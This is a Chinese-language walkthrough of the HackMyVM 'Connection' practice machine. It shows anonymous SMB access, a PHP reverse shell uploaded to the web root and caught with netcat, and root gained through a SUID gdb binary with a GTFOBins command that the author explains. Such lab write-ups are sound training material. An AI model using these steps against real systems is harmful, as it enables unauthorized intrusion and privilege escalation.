0%

HMV-Connection

HMV-Connection靶场复盘

Connection

无法获取ip 在开始之前要先进入拯救者模式中修改 网卡信息

端口扫描

|750
端口有4个 有http ssh 还有smb服务 这个服务刚学到 是一个文件共享的服务

信息收集

这里主要先考虑http和22端口
用dirsearch发现没有其他有用的界面 80端口是一个默认的index界面没有有用的信息
ssh 也不能直接登录上去 需要密码
所以考虑这个smb服务
用enum4linux -S 列举出smb共享资源

登录到share – 利用smbclient -N 匿名登录 smbclient -N \\\\192.168.240.237\\share
这里要用反斜杠转义

登录进来之后也只看到只有一个html文件 然后我们从本地上传一个反弹shell的文件
put php-reverse-shell.php 因为share这个文件夹只有只读权限所以进到html中上传
上传成功后 在本地监听 web端进入这个php文件 然后就可以获得shell

1
2
3
4
5
6
7
8
9
10
11
12
┌──(root㉿kakeru)-[~/connections]
└─# nc -lp 1234
Linux connection 4.19.0-10-amd64 #1 SMP Debian 4.19.132-1 (2020-07-24) x86_64 GNU/Linux
 07:18:55 up 23 min,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ clear
TERM environment variable not set.
$ python -c "import pty;pty.spawn('/bin/bash')"

提权

用suid提权
|500
这里使用gdb提权
gtfobins 中找到提权方案

1
/usr/bin/gdb -nx -ex 'python import os; os.execl("/bin/bash", "bash", "-p")' -ex quit

拿到root权限
分别在/root 和/home/connection 中找到flag

解释 gdb 命令

1. /usr/bin/gdb

  • 作用:这是 gdb 命令的完整路径,表示调用的是系统中的 GNU 调试器(GDB)。gdb 是一个强大的调试工具,通常用于调试程序,也能执行低级操作,如调用系统命令或执行特定代码。

2. -nx

  • -n:启动时不执行任何初始化文件(如 .gdbinit),避免加载默认设置或用户配置文件。
  • -x:指定 gdb 执行的脚本文件,但在此命令中使用 -ex 代替,执行内联命令。

3. -ex 'python import os; os.execl("/bin/bash", "bash", "-p")'

  • -ex:用于执行 gdb 启动时要运行的命令,支持多次使用。
  • Python 脚本
    • import os:导入 os 模块,用于与操作系统交互。
    • os.execl("/bin/bash", "bash", "-p"):用 execl 替换当前进程(gdb)为新的进程,即启动 bash shell。
      • /bin/bash:指定执行的程序,即 bash shell。
      • "bash":传递给 bash 的参数,第一个参数通常是执行命令本身。
      • "-p":让 bash 保持 root 权限,如果 gdbroot 权限运行,新启动的 bash shell 也会保持 root 权限。

4. -ex quit

  • 作用:在执行完上述 Python 脚本后,立即退出 gdbgdb 执行完命令后会退出,但新启动的 bash shell 会继续运行。